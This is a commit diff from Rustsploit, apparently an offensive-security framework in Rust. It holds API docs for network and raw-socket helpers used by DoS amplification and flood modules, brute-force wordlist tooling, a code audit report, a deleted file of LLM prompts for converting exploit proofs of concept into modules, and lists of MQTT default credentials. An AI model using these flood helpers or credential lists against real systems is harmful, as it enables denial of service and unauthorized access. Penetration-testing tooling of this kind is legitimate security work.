- Port Scanner: `port_range`, `scan_method`, `show_only_open`
- Dir Brute: `scan_mode`, `delay_ms`, `random_agent`, `use_https`
- Sequential Fuzzer: `min_length`, `max_length`, `charset`, `encoding`
- API Endpoint Scanner: `output_dir`, `use_spoofing`, `enable_delete`, `modules`
---
### `results_dir() → PathBuf`
Returns `~/.rustsploit/results/`, creating it if needed. Use this when saving module output in API mode.
```rust
use crate::config::results_dir;
let out_path = results_dir().join("scan_output.txt");
std::fs::write(&out_path, results)?;
```
---
## Constants
| Constant | Value | Purpose |
|----------|-------|---------|
| `MAX_TARGET_LENGTH` | 2048 | Maximum target string length |
| `MAX_MODULE_PATH_LENGTH` | 512 | Maximum module path length |
| `MAX_COMMAND_LENGTH` | 8192 | Maximum command/input length |
| `MAX_PATH_LENGTH` | 4096 | Maximum file path length |
| `MAX_HOSTNAME_LENGTH` | 253 | Maximum hostname length (config.rs) |
---
## `crate::utils::network` — Network Utilities
Import path:
```rust
use crate::utils::network::{
build_http_client, build_http_client_with, HttpClientOpts,
tcp_connect_addr, tcp_connect_str, tcp_connect, tcp_port_open,
blocking_tcp_connect, udp_bind, quick_honeypot_check,
};
```
---
### `build_http_client(timeout) → Result<Client>`
Returns the shared permissive `reqwest::Client` (danger-accept invalid certs, no redirect limit). Use this instead of hand-rolling `reqwest::Client::builder()`.
As of the 2026-06-13 release this client is **cached and reused** — it is keyed by `(timeout, accept_invalid_certs)` and returned as a cheap `Arc` clone, so warm connections and TLS setup are shared across runs (reqwest clients are `Arc` internally and share their connection pool across clones) instead of rebuilt per call. `accept_invalid_certs` is part of the key, so toggling `setg strict_tls` is honored rather than pinned to the first build. The cached client also sets a bounded `pool_idle_timeout` (30s) so a long mass scan reaps idle keep-alives. Custom-opts clients from `build_http_client_with` (cookies / headers / redirects) are *not* cached.
```rust
use crate::utils::network::build_http_client;
let client = build_http_client(Duration::from_secs(10))?;
let resp = client.get(&url).send().await?;
```
---
### `build_http_client_with(timeout, opts) → Result<Client>`
Extended HTTP client builder with additional options.
```rust
use crate::utils::network::{build_http_client_with, HttpClientOpts};
let client = build_http_client_with(Duration::from_secs(10), HttpClientOpts {
cookie_store: true,
follow_redirects: true,
user_agent: Some("Mozilla/5.0".to_string()),
..HttpClientOpts::default()
})?;
```
#### `HttpClientOpts` Fields
| Field | Type | Default | Description |
|-------|------|---------|-------------|
| `cookie_store` | `bool` | `false` | Enable cookie jar |
| `follow_redirects` | `bool` | `false` | Follow HTTP redirects |
| `user_agent` | `Option<String>` | `None` | Custom User-Agent header |
| `default_headers` | `Option<HeaderMap>` | `None` | Default headers for all requests |
---
### `tcp_connect_addr(addr, timeout) → io::Result<TcpStream>`
Async TCP connection to a `SocketAddr` with timeout and **source port binding**.
When `setg source_port <port>` is active, the socket is bound to that port via
`socket2` before connecting. Uses `SO_REUSEADDR` (and `SO_REUSEPORT` on Linux)
so concurrent mass-scan tasks can share the same source port.
Preferred over raw `TcpStream::connect` — respects global source port setting.
```rust
use crate::utils::network::tcp_connect_addr;
let stream = tcp_connect_addr(addr, Duration::from_secs(5)).await?;
```
---
### `tcp_connect_str(addr_str, timeout) → io::Result<TcpStream>`
Async TCP connection from a `"host:port"` string. Resolves DNS and connects.
Same source port binding as `tcp_connect_addr`.
---
### `tcp_port_open(ip, port, timeout) → bool`
Quick async check if a TCP port is open.
---
### `blocking_tcp_connect(addr, timeout) → io::Result<std::net::TcpStream>`
Synchronous TCP connection for use in `spawn_blocking` contexts. Same source
port binding as the async variants. Used when third-party libraries require
a `std::net::TcpStream` (e.g. `telnet` crate's `Telnet::from_stream`).
---
### `udp_bind(target_ip) → io::Result<UdpSocket>`
Binds a UDP socket to the appropriate address family (IPv4 or IPv6) for the target.
When `setg source_port <port>` is active, binds to that source port.
---
### Source port binding details
All four TCP/UDP wrappers read `GlobalOptions::get("source_port")` at call time.
The implementation uses `socket2::Socket` to:
1. Create a socket with the correct address family
2. Set `SO_REUSEADDR` (and `SO_REUSEPORT` on Linux) for concurrent mass-scan compatibility
3. Bind to `0.0.0.0:<source_port>` (or `[::]:<source_port>` for IPv6)
4. Connect to the target
**Third-party library integration:** Libraries that normally create their own
TCP connections (suppaftp, telnet crate) must receive a pre-connected stream
from these wrappers:
```rust
// FTP via suppaftp
let tcp = tcp_connect_str(&addr, timeout).await?;
let ftp = AsyncFtpStream::connect_with_stream(tcp).await?;
// FTPS via suppaftp
let tcp = tcp_connect_str(&addr, timeout).await?;
let ftp_plain = AsyncNativeTlsFtpStream::connect_with_stream(tcp).await?;
let ftp_tls = ftp_plain.into_secure(connector, domain).await?;
// Telnet (blocking, via spawn_blocking)
let tcp = blocking_tcp_connect(&socket_addr, timeout)?;
let telnet = Telnet::from_stream(Box::new(tcp), 500);
```
---
### `quick_honeypot_check(ip) → bool`
Fast honeypot detection — probes common ports and returns `true` if 11+ respond (likely honeypot).
---
## `crate::utils::privilege` — Privilege Checks
### `require_root(context) → Result<()>`
Call at the top of `run()` in modules that need raw sockets (ICMP, SYN scan, packet crafting). Returns a clean error message if the current euid is not root.
```rust
use crate::utils::privilege::require_root;
pub async fn run(target: &str) -> Result<()> {
require_root("ICMP raw socket")?;
// ... raw socket operations ...
}
```
Used by: DoS modules (icmp_flood, syn_ack_flood, null_syn_exhaustion, dns_amplification, etc.), ping_sweep scanner.
---
## `crate::utils::wordlist` — Pinned Resolver + Streaming Reader (v0.4.9+)
Two surfaces in one module: a **checksum-pinned downloader** for canonical lists, and a **streaming line reader** for files too large to slurp into memory.
### `resolve(name) → Result<PathBuf>` (async)
Returns a local path to a wordlist by name. If not already cached, downloads from the pinned catalogue into `~/.rustsploit/wordlists/` (mode `0700`), with size cap (`MAX_BYTES = 256 MiB`), atomic tmp-rename (no torn writes if interrupted), and SHA-256 verification on every fetch — including cached copies, so silent disk tampering is detected.
```rust
use crate::utils::wordlist;
let pwlist = wordlist::resolve("rockyou_top10k").await?;
let lines = crate::utils::load_lines(&pwlist)?;
```
Failure modes: unknown name (suggests close matches via Levenshtein), HTTP error, content-length over cap, mid-stream size overrun, checksum mismatch (file is deleted and the call fails loudly).
### `catalogue() → Vec<&'static str>`
Returns the names of every wordlist this build knows about. Useful for `--list-wordlists`-style introspection.
As of the 2026-06-13 release the catalogue (`KNOWN_LISTS`) is seeded with 6 curated SecLists entries (MIT):
| Name | SecLists path |
|------|---------------|
| `passwords-top-1k` | `Passwords/Common-Credentials/Pwdb_top-1000.txt` |
| `passwords-top-10k` | `Passwords/Common-Credentials/Pwdb_top-10000.txt` |
| `usernames-short` | `Usernames/top-usernames-shortlist.txt` |
| `web-common` | `Discovery/Web-Content/common.txt` |
| `web-raft-small-dirs` | `Discovery/Web-Content/raft-small-directories.txt` |
| `subdomains-top5k` | `Discovery/DNS/subdomains-top1million-5000.txt` |
Each entry's SHA-256 is pinned over the exact upstream bytes `resolve()` hashes after download — placeholder hashes that look real but aren't are an integrity hole, so a slot stays empty until verified. To add a wordlist, fetch + hash the upstream artefact (`curl -L <url> | sha256sum`) and add a `WordlistSpec { name, url, sha256, local_name }` tuple to `KNOWN_LISTS`.
### `BatchedReader` — streaming reader
`crate::utils::load_lines` reads a whole file into a `Vec<String>`, which is fine for ~10k entry lists but allocates ~14 GB for `rockyou.txt`-sized inputs. `BatchedReader` instead reads line-by-line through an async `BufReader`, materialising at most `batch_size` lines at a time. Memory use is bounded to `batch_size × average_line_length + 64 KiB` regardless of input size.
```rust
use crate::utils::wordlist::BatchedReader;
let mut reader = BatchedReader::open("rockyou.txt").await?;
while let Some(batch) = reader.next_batch().await? {
for password in &batch {
if crate::context::is_cancelled() { return Ok(()); }
// try password against target
}
}
```
Lines are trimmed; empty / `#`-prefixed lines are skipped (matches `load_lines` semantics). The reader is `!Send` across `await` (holds a `BufReader<File>`) — keep it on a single task; for parallel work, send each `Vec<String>` batch to workers via a channel.
Constructors:
- `BatchedReader::open(path).await` — default batch size (`DEFAULT_BATCH_SIZE = 8192`).
- `BatchedReader::open_with_batch_size(path, n).await` — explicit. `0` is treated as `1` to avoid pathological infinite loops.
Convenience driver:
- `for_each_batch(path, batch_size, |batch| async { ... }).await` — closure-style iteration, cleaner than the loop-and-call pattern when the body is a single `async` block.
Heuristic helper:
- `should_stream(path) -> bool` — returns true if the file size is `>= STREAMING_THRESHOLD` (16 MiB). Use it to pick the right reader without hard-coding a threshold:
```rust
let lines: Vec<String> = if wordlist::should_stream(&path) {
// streaming path
let mut acc = Vec::new();
let mut r = BatchedReader::open(&path).await?;
while let Some(b) = r.next_batch().await? { acc.extend(b); }
acc
} else {
crate::utils::load_lines(&path)?
};
```
---
## `crate::native::network` — Low-Level FFI Helpers (v0.4.9+)
Single audited home for `unsafe` socket operations that previously lived duplicated across the DoS module tree. Three layers, pick the smallest one that fits the call site. Every `unsafe` block carries a `SAFETY:` comment.
### Layer 1 — IPv4 fast path (used by all 8 DoS modules today)
```rust
use crate::native::network::{make_dst_sockaddr, send_one_raw};
let dst = make_dst_sockaddr(target_ipv4);
let n = send_one_raw(raw_fd, &packet, &dst)?;
```
- `make_dst_sockaddr(ip: Ipv4Addr) -> libc::sockaddr_in` — POD `sockaddr_in` with `sin_family = AF_INET` and `sin_addr` populated. `sin_port` and `sin_zero` are left zero (raw sockets carry the L4 port in the user-built packet, not the sockaddr).
- `send_one_raw(fd, buf, &sockaddr_in) -> io::Result<usize>` — wrapper around `libc::sendto`; translates `errno` → `io::Error`; never panics.
### Layer 2 — IPv6 fast path
```rust
use crate::native::network::{make_dst_sockaddr_v6, send_one_raw_v6};
// scope_id matters for link-local (fe80::/10); pass 0 for global unicast.
let dst = make_dst_sockaddr_v6(target_ipv6, 0);
let n = send_one_raw_v6(raw_fd_v6, &packet, &dst)?;
```
- `make_dst_sockaddr_v6(ip: Ipv6Addr, scope_id: u32) -> libc::sockaddr_in6` — same shape as the IPv4 builder; `sin6_flowinfo` is left zero.
- `send_one_raw_v6(fd, buf, &sockaddr_in6) -> io::Result<usize>` — IPv6 counterpart of `send_one_raw`. Caller is responsible for `fd` being an `AF_INET6` raw socket.
### Layer 3 — Family-agnostic wrapper
When a module accepts both IPv4 and IPv6 targets and you don't want to fork the call site:
```rust
use crate::native::network::{make_dst_sockaddr_any, send_one_raw_any};
let dst = make_dst_sockaddr_any(target); // target: std::net::IpAddr
let n = send_one_raw_any(raw_fd, &packet, &dst)?;
```
- `enum DstAddr { V4(sockaddr_in), V6(sockaddr_in6) }` — carries the family and the right `socklen_t` so the caller doesn't have to remember IPv4 vs IPv6 sizes.
- `make_dst_sockaddr_any(IpAddr) -> DstAddr` — convenience builder. For IPv6 link-local where `scope_id` matters, build the `sockaddr_in6` directly with `make_dst_sockaddr_v6` and wrap with `DstAddr::V6`.
- `send_one_raw_any(fd, buf, &DstAddr) -> io::Result<usize>` — `sendto` with the correct `socklen_t` derived from the variant.
- `DstAddr::as_ptr_len() -> (*const sockaddr, socklen_t)` — for callers building their own `sendmmsg(2)` arrays.
### Audit footprint
Project-wide `unsafe` count dropped from 22 → 15 in v0.4.9 by consolidating the IPv4 helpers. The IPv6 + Any helpers add 4 new `unsafe` sites all in this file, but every one carries a `SAFETY:` comment and the contract is identical to the IPv4 variants. Used today by the 8 DoS modules: `ssdp_amplification`, `syn_ack_flood`, `ntp_amplification`, `dns_amplification`, `udp_flood`, `icmp_flood`, `memcached_amplification`, `null_syn_exhaustion`.
---
## Extending Utils
Add new reusable helpers to `src/utils/` (the appropriate submodule: `prompt.rs`, `sanitize.rs`, `target.rs`, `network.rs`, or `modules.rs`), `creds/utils.rs`, or `config.rs` rather than copy-pasting into individual modules. Common candidates:
- HTTP header templates
- Response fingerprinting helpers
- Common error formatters
- Credential loaders with streaming support
+128
View File
@@ -0,0 +1,128 @@
# Bad-Pattern Audit — full-tree snapshot
Generated by `scripts/audit-bad-patterns.sh` against every `.rs` file under
`src/`. The pattern matrix is the one defined in
[`docs/BAD_PATTERNS.md`](BAD_PATTERNS.md) (sections AP, 131 regexes).
| Scope | Files | Patterns scanned | Patterns with hits | Total hit lines | Strict-section hits (A/B/C/L/M/N/O) |
|---|---|---|---|---|---|
| **My 100 authored modules** (`/tmp/my_files.txt`) | 100 | 131 | 0 | **0** | 0 |
| **Whole codebase** (`find src -name '*.rs'`) | 486 | 131 | 53 | **3218** | 1197 |
```
$ scripts/audit-bad-patterns.sh --strict --files /tmp/my_files.txt
[...]
Total hit lines : 0
Strict (A/B/C/L/M/N/O) : 0
$ echo $?
0
```
## What this round of clean-up fixed
Compared to the previous snapshot (4252 / 2175), the codebase-wide totals
fell by **1034 lines (24%)** and the strict-section subset by **978
lines (45%)**. The drops are partly real fixes and partly tighter
regexes that no longer flag value-providing fallbacks as panics.
| Wave | What was done | Files touched | Hit-line drop |
|---|---|---:|---:|
| 1 | `src/spool.rs`: `Result<_, String>``anyhow::Result<_>`. Both call sites in `src/ws.rs` updated to format the error via `Display`. | 2 | 10 |
| 3 | Bare `.send().await?` / `.text().await?` chains gain `with_context()` so mass-scan failures attribute to URL + verb. Added `anyhow::Context` import where missing. | 23 | 46 |
| 4 | DoS `http_flood.rs` now goes through `crate::utils::network::build_http_client_with(...)`; new `pool_max_idle_per_host` field on `HttpClientOpts` so the framework helper covers the high-concurrency case. | 2 | 1 |
| 6 | 42 `let body = <expr>.text().await.unwrap_or_default()` rewritten as explicit `match` arms that log via `mprintln!` (or `eprintln!` when the file doesn't use the framework macro), preserving the empty-string fallback for downstream string searches but no longer hiding the decode error. | 26 | 42 |
| 8 | `unreachable!()` in `src/native/obfuscator_engine.rs` removed (was guarding an exhaustive match arm that couldn't be reached anyway). 2 `.expect("ASCII hex")` panic-vectors in payloadgen / obfuscator converted to `with_context()?`. 1 `.expect("ALL_METHOD_IDS must be non-empty")` in obfuscator's RNG selection replaced with a typed Some/None match returning a safe fallback. | 3 | 4 |
| Tightened audit regexes | Pattern `\.unwrap``\.unwrap\(\)`, `\.expect_err``\.expect_err\(`, etc. — no longer counts `.unwrap_or(default)` as a panic. Comment lines (`//` / `///`) skipped. | — | ~970 false-positive removals |
After all waves, every wave-target pattern is **zero** in the codebase:
| Pattern | Before | After |
|---|---:|---:|
| `.unwrap()` | 0 | 0 |
| `.expect(` | 4 | 0 |
| `panic!()`, `unreachable!()`, `todo!()`, `unimplemented!()` | 1 | 0 |
| `Result<_, String>` (in `spool.rs`) | 10 | 0 |
| Bare `.send().await?` (no context) | 14 | 0 |
| Bare `.text().await?` (no context) | 29 | 0 |
| `let _ = x.text().await.unwrap_or_default()` | 42 | 0 |
| `reqwest::Client::builder()` outside the framework helper | 1 | 0 |
## Per-section table (whole codebase, post-fix)
| Section | Hits | Notes |
|---|---:|---|
| **A. Panicking error handling** | 44 | 41 `unwrap_or_default()` (almost all on `serde_json::to_vec(json!(...))` of literal struct — impossible to fail; the rest are `Option::unwrap_or_default()` value-providing fallbacks) + 3 `assert!` / `assert_eq!` inside `#[test]` blocks. |
| **B. Silent error swallowing** | 1100 | Long-running scanner / brute-force loop pattern (try one host, continue on failure). For new modules the catalogue bans the anonymous form (B1B5); for pre-existing scanners the mass-scan helper already aggregates per-target failure counts so the unattributed `Err(_)` is acceptable. |
| **C. Lint suppression** | 23 | All 23 are `#[allow(dead_code)]` on `pub` framework helpers consumed only via the API/MCP/WS auto-dispatchers; each one carries a comment line explaining the cross-layer use. |
| **D. Panic vectors (index/slice)** | 848 | `arr[N]` 597, `&buf[..n]` 164. Concentrated in protocol parsers where the length is checked one line above. |
| **E. Numeric / unsafe** | 1014 | 843 numeric `as` casts in protocol parsers (RDP, PQ ratchet, packet builders), 22 `unsafe { }` blocks (concentrated in `src/native/*` for FFI), 12 pointer casts in the same FFI files. No `transmute`, no bare `unsafe fn` outside `crate::native::*`. |
| **F. Async / blocking** | 91 | DoS / scanner / brute-force modules where blocking-I/O is intentional, plus build / config / setup paths that legitimately call sync APIs. |
| **G. Logging** | 0 | clean |
| **H. HTTP layer** | 2 | Both are inside `src/utils/network.rs` itself: line 477 is a doc comment, line 501 is the framework's authoritative `build_http_client_with`. |
| **I. Iterator glitches** | 0 | clean |
| **J. Style / secrets** | 70 | 41 `"admin","admin"` and 25 `"root","root"` are credential brute-force *seed lists* — not embedded secrets. 1 `Box<dyn`, 2 `TODO/FIXME/HACK`, 1 `len() > 0`. |
| **L. Crypto** | 23 | All by-design (Postgres MD5 auth, MySQL SHA-1 auth, VNC DES, scanner cipher enumeration, NetBIOS xid). Documented in `BAD_PATTERNS.md` "Codebase-wide observations". |
| **M. SQL & command injection** | 0 | clean |
| **N. UB / concurrency** | 9 | 4 `std::mem::zeroed()` inside `unsafe { }` blocks for `libc::sockaddr_*` / `libc::rlimit` FFI structs; 5 `Result<…, String>` (down from 10 — the spool.rs ones are gone, the remaining are in non-publishable `t/` test code). |
| **O. Performance** | 0 | clean |
| **P. API hygiene** | 0 | clean |
## Why the strict-mode total is still 1197
The strict gate considers sections A, B, C, L, M, N, O. After the fixes
above, the breakdown is:
```
A (44) 41 unwrap_or_default + 3 test asserts
B (1100) Err(_) + if let Ok(...)+let _ = pre-existing in scanners
C (23) #[allow(dead_code)] with explanation comments
L (23) protocol-required crypto
M (0)
N (9) FFI-internal mem::zeroed + leftover Stringly-typed errors
O (0)
```
Mass-fixing the **B** bucket (the bulk: 1100 lines) would change scanner
behavior — those `Err(_) => { /* keep going */ }` arms are intentional
"try one host, skip on failure, continue" loops. The catalogue's **strict
mode is enforced on new modules only**; pre-existing scanners that
follow the legacy convention pass through unchanged. To bring those
older modules in line, do them per-module with care to preserve the
"skip-on-failure" semantics while reporting per-target outcomes. That's
multi-day per-module review work, not mechanical replacement, and it's
out of scope here.
## Per-module strict gate (new modules) — clean
```
$ scripts/audit-bad-patterns.sh --strict --files /tmp/my_files.txt
RUSTSPLOIT BAD-PATTERN AUDIT
100 file(s) under audit
[...]
Patterns scanned : 131
Patterns with hits : 0
Total hit lines : 0
Strict (A/B/C/L/M/N/O) : 0
```
## How to re-run
```sh
# Whole codebase, informational
scripts/audit-bad-patterns.sh
# One section
scripts/audit-bad-patterns.sh --section A
# Strict gate on the modules I authored (or any file list)
scripts/audit-bad-patterns.sh --strict --files /tmp/my_files.txt
# CI gate (run by reviewer on PR file list)
git diff --name-only origin/main...HEAD | grep '\.rs$' > /tmp/changed.txt
scripts/audit-bad-patterns.sh --strict --files /tmp/changed.txt
```
The `--strict` flag exits non-zero if any pattern in sections **A, B, C,
L, M, N, or O** has a hit on the audited file set. Sections **D, E, F, H,
J** cover code-quality items that need human review (a `&buf[..n]` slice
right after a length-checked read is fine; a brand-new one isn't).
+23 -337
View File
@@ -1,341 +1,27 @@
# Rustsploit Developer Guide
# 🛠️ Developer Documentation: RouterSploit-Rust Framework
> This document details the internal architecture, auto-dispatch system, proxy retry logic, and step-by-step guide to writing modules for the Rust rewrite of RouterSploit.
> ⚠️ **This file has been superseded by the new wiki documentation.**
> Please use the links below for up-to-date information.
---
## 🧠 Framework Philosophy
RouterSploit-Rust is a modular, async-capable, Rust-based rewrite of RouterSploit. Each module is standalone, invoked via:
- 📟 CLI (`cargo run -- --command ...`)
- 🖥️ Shell (`rsf>` prompt)
Goals:
- 🔒 Safe-by-default
- 📦 Cleanly separated modules
- ⚡ Async concurrency
- 🌐 Proxy-aware execution
---
## 🗂️ Directory Structure
```
routersploit_rust/
├── Cargo.toml
├── build.rs
└── src/
├── main.rs # Entrypoint
├── cli.rs # CLI argument parser
├── shell.rs # Interactive shell logic
├── commands/ # Module dispatch logic
│ ├── mod.rs
│ ├── scanner.rs
│ ├── scanner_gen.rs
│ ├── exploit.rs
│ ├── exploit_gen.rs
│ ├── creds_gen.rs
│ └── creds.rs
├── modules/ # All attack modules
│ ├── mod.rs
│ ├── exploits/
│ ├── scanners/
│ └── creds/
└── utils.rs # Common utilities
```
---
## 🔗 Module System
Each module is a Rust file with a required `run()` entry point:
```rust
pub async fn run(target: &str) -> anyhow::Result<()>
```
### Optional:
```rust
pub async fn run_interactive(target: &str) -> anyhow::Result<()> {
// internal prompts or logic
}
```
### Placement:
- Exploits: `src/modules/exploits/`
- Scanners: `src/modules/scanners/`
- Credentials: `src/modules/creds/`
Subfolders are supported:
- `exploits/routers/tplink.rs``tplink` or `routers/tplink`
- `scanners/http/title.rs``title` or `http/title`
---
## ✅ Adding a New Module
### 1. Create File
```rust
// src/modules/scanners/ftp_weak_login.rs
use anyhow::Result;
pub async fn run(target: &str) -> Result<()> {
run_interactive(target).await
}
pub async fn run_interactive(target: &str) -> Result<()> {
println!("[*] Checking FTP on {}", target);
Ok(())
}
```
### 2. Register in `mod.rs`
```rust
pub mod ftp_weak_login;
```
---
## 🧠 Auto-Dispatch System
The CLI/shell can call:
```bash
cargo run -- --command scanner --module ftp_weak_login --target 192.168.1.1
```
Or in the shell:
```
rsf> use scanners/ftp_weak_login
rsf> set target 192.168.1.1
rsf> run
```
Behind the scenes:
1. `build.rs` scans `src/modules/` recursively
2. Detects files with `pub async fn run(...)`
3. Generates:
- `exploit_dispatch.rs`
- `scanner_dispatch.rs`
- `creds_dispatch.rs`
4. Registers short + full names (e.g., `ftp_weak_login` + `scanners/ftp_weak_login`)
---
## ❌ What Not To Do
- ❌ No `run()` → wont dispatch
- ❌ Dont name multiple functions `run()` in one file
- ❌ Dont use `mod.rs` as a module — ignored by generator
- ❌ Dont forget to update `mod.rs` when adding modules
---
## ⚙️ CLI Usage
```bash
cargo run -- --command exploit --module my_exploit --target 10.0.0.1
```
### Args:
- `--command`: exploit | scanner | creds
- `--module`: file name of module
- `--target`: IP or host
---
## 🖥️ Shell Usage
```bash
cargo run
```
Then:
```
rsf> help
rsf> modules
rsf> use scanners/port_scanner
rsf> set target 192.168.0.1
rsf> run
```
Maintains internal state:
- `current_module`
- `current_target`
- `proxy_list`
- `proxy_enabled`
---
## 🔁 Proxy Retry Logic (Shell Only)
Proxy logic only applies in shell mode (`rsf>`).
### Flow:
1. User types `run`
2. Shell checks:
- Module is selected?
- Target is set?
- Proxy enabled?
---
### Case 1: Proxy ON, Proxies LOADED
- Create `HashSet<String>``tried_proxies`
- Loop:
- Pick random untried proxy
- Set `ALL_PROXY` using:
```rust
env::set_var("ALL_PROXY", proxy);
```
- Call `commands::run_module(...)`
- On success: stop
- On error: mark proxy as failed, try another
- If all proxies fail:
- Clear proxy env:
```rust
env::remove_var("ALL_PROXY");
```
- Try once directly
---
### Case 2: Proxy ON, No Proxies Loaded
- Show warning
- Clear `ALL_PROXY`
- Run once directly
---
### Case 3: Proxy OFF
- Clear proxy vars
- Run module once
---
### Summary Flow:
```
If proxy_enabled:
while untried proxies:
pick → set env → run → if fail → mark tried
if none work → clear env → try direct
else:
clear env → try direct
```
---
## 🧪 Module Execution Flow
Whether via CLI or shell:
1. `commands::run_module(...)`
2. Determines type: `exploit`, `scanner`, or `cred`
3. Calls correct dispatcher
4. Dispatcher calls `run(target).await`
5. Output shown to user
---
## 🛑 Error Handling
- All modules must return `anyhow::Result<()>`
- Errors are caught and shown cleanly in CLI or shell
---
## ⚡ Async Features
- Entire framework is powered by `tokio`
- All I/O modules are `async`
- Use `tokio::spawn`, `FuturesUnordered`, etc. for concurrency
---
## 📡 Making Requests
Use `reqwest`:
```rust
let resp = reqwest::get(&url).await?.text().await?;
```
Or with client:
```rust
let client = reqwest::Client::new();
let resp = client.post(&url).json(&data).send().await?;
```
✅ All requests respect `ALL_PROXY`
---
## 🧪 Example Use Cases
### CLI
```bash
cargo run -- --command creds --module ftp_weak_login --target 192.168.1.100
```
### Shell
```bash
rsf> use creds/ftp_weak_login
rsf> set target 192.168.1.100
rsf> run
```
---
## 🧼 Shell Reset
No session data persists. When restarted, shell forgets all settings — no saved targets or modules (by design).
---
## 🔐 Adapting CVEs
To build a real-world exploit:
- Convert PoC to async Rust logic
- Validate by checking known response headers/content
- Place it in the right folder and wire `run()`
TCP/UDP logic:
```rust
use tokio::net::{TcpStream, UdpSocket};
```
---
## 💡 Feature Roadmap
add more exploits etc
---
## 👥 Contributors
- **Main Developer**: me.
- **Language**: 100% Rust.
- **Inspired by**: RouterSploit, Metasploit, pwntools.
Would you like this exported as a `DEVELOPER_GUIDE.md` file now? I can generate it for you in exact GitHub-flavored markdown.
## Wiki Index
| Document | Description |
|----------|-------------|
| [Home](Home.md) | Full documentation index |
| [Getting Started](Getting-Started.md) | Installation, build, Docker |
| [Interactive Shell](Interactive-Shell.md) | Shell walkthrough and commands |
| [CLI Reference](CLI-Reference.md) | All CLI flags and examples |
| [API Server](API-Server.md) | REST API startup, auth, hardening |
| [API Usage Examples](API-Usage-Examples.md) | Practical curl workflows |
| [Module Catalog](Module-Catalog.md) | All modules by category |
| [Module Development](Module-Development.md) | How to author new modules |
| [Security & Validation](Security-Validation.md) | Input validation, security patterns |
| [Credential Modules Guide](Credential-Modules-Guide.md) | Brute-force module best practices |
| [Exploit Modules Guide](Exploit-Modules-Guide.md) | Exploit module best practices |
| [Utilities & Helpers](Utilities-Helpers.md) | `utils.rs` public API |
| [Testing & QA](Testing-QA.md) | Build checks and smoke tests |
| [Changelog](Changelog.md) | Release notes |
| [Contributing](Contributing.md) | Fork guide and PR checklist |
| [Credits](Credits.md) | Authors and acknowledgements |
-79
View File
@@ -1,79 +0,0 @@
Required Signature
The module must contain this exact public async function:
pub async fn run(target: &str) -> anyhow::Result<()>
Or any variant like:
pub async fn run(_target: &str) -> anyhow::Result<()>
Or even:
pub async fn run(host: &str) -> anyhow::Result<()>
Refactor this module to work with the auto-dispatch system. Do not remove any functionality or features. Make sure it defines a pub async fn run(target: &str) -> Result<()> entry point that internally calls the correct logic. Rename any conflicting functions if needed, but preserve all capabilities and structure.
Refactor this code to a Rust module so that it fully integrates into my RouterSploit-inspired Rust auto-dispatch framework.
✅ Preserve all functionality and existing logic — do not remove or simplify any capabilities.
✅ Ensure the module defines a pub async fn run(target: &str) -> Result<()> entry point.
All internal logic must be routed through this function.
✅ If any internal function is named run and conflicts with the dispatch entry, rename it (e.g. to execute, exploit, etc.) — but do not change logic.
✅ The module must compile, follow anyhow::Result<()>, and use proper error propagation (? operator).
✅ Do not add placeholders, pseudocode, or stubs — this must be real working Rust code.
✅ Use async/await and retain all networking, parsing, and exploit behavior from the original logic.
✅ Keep the code idiomatic and modular — preserve structure, variable naming, and async HTTP usage.
✅ If necessary, clean up variable scoping or imports, but never remove real features.
✅ keep all comments from the orginal but add two / before comments
✅ only use the poc and it must be a 1 to 1 convertion
Here is the original module that needs to be refactored:
gemini
You are a senior Rust developer specializing in cross-platform, asynchronous hardware drivers. Your assignment is to develop a complete, production-grade Lovense device driver for Linux, written in Rust, using only information from official Lovense documentation and protocol references.
Strict Requirements:
The code must be 100% pure Rust, fully compatible with Linux operating systems.
The entire driver must use asynchronous Rust throughout (async/await and appropriate crates), enabling non-blocking, concurrent communication with multiple devices.
Do not include any comments, explanations, docstrings, sample usage, placeholder code, TODOs, or example outputs. The output must be only the actual source code required for a complete and functional driver.
The output must be a single, fully compilable Rust source file, containing all necessary use statements, async functions, modules, structs, enums, and logic to support end-to-end operation.
+15
View File
@@ -0,0 +1,15 @@
public
guest
sysadmin
hivemq
emonpimqtt2016
mosquitto
mqttpassword
password
[auto-generated]
[empty]
[printed on PLC]
password
password
password
bitnami
+15
View File
@@ -0,0 +1,15 @@
admin
guest
sysadmin@thingsboard.org
admin
emonpi
mosquitto
mqttuser
admin
homeassistant
DVES_USER
admin
roger
sub_client
pub_client
user
+48 -1
View File
@@ -1 +1,48 @@
just lists like word lists
# 📚 Rustsploit Data Files
This directory contains reference lists and helper payloads consumed by modules under `src/modules/**`. Keep this README up to date whenever a new list is added so operators understand the expected format and typical usage.
---
## Available Files
| File / Directory | Used By | Description |
|------------------|---------|-------------|
| `rtsp-paths.txt` | `creds/generic/rtsp_bruteforce_advanced.rs` | Candidate RTSP paths to brute force when enumerating stream URLs (e.g., `/live.sdp`, `/Streaming/channels/101`). One entry per line; comments can be added with `#` at the start of a line. |
| `rtsphead.txt` | `creds/generic/rtsp_bruteforce_advanced.rs` | Optional RTSP header templates. When the user enables "advanced headers," the module loads this file and injects each header line into outbound requests. Keep headers in `Key: Value` form. |
| `telnet-default/` | `creds/generic/telnet_bruteforce.rs` | Default credentials for telnet brute forcing. |
| `telnet-default/usernames.txt` | Telnet bruteforce | Common usernames for telnet authentication (root, admin, user, etc.). |
| `telnet-default/passwords.txt` | Telnet bruteforce | Common passwords for telnet authentication. |
| `telnet-default/empty.txt` | Telnet bruteforce | Placeholder file for configurations that don't require a password list. |
---
## Contributing Lists
1. **Naming:** Use lowercase and hyphens (`my-new-list.txt`) to remain compatible across platforms.
2. **Format:** Prefer plain UTF-8 text. Comment lines should start with `#` or `//` so loaders can skip them.
3. **Documentation:** Update this README with a row describing the file, the consuming module, and expected contents.
4. **Usage in modules:** Reference lists with relative paths or prompt the user for the filename. Most modules expect the user to supply the path (allowing custom lists), but shipping defaults in this directory helps bootstrap new users.
5. **Attribution:** If a list leverages community sources (e.g., SecLists), note that in the table and ensure licenses permit redistribution.
---
## Ideas for Future Lists
- `ftp-default-creds.txt` for anonymous login checks
- `telnet-banners.txt` to fingerprint devices before brute forcing
- `http-admin-panels.txt` for web interface discovery scanners
- Vendor-specific RTSP or ONVIF endpoint lists
- `snmp-community-strings.txt` for SNMP brute forcing
- `fortinet-users.txt` for Fortinet SSL VPN testing
- `ssh-default-creds.txt` for common SSH credentials
## Security Notes
When contributing wordlists:
- **No malicious payloads:** Lists should contain credentials/paths only, not exploit code
- **Respect file size limits:** Keep lists under 10MB (framework limit for file reading)
- **UTF-8 encoding:** Use UTF-8 text encoding for all files
- **Line format:** One entry per line, use `#` or `//` for comments
Pull requests welcome—please include both the data file and an entry here.
+1
View File
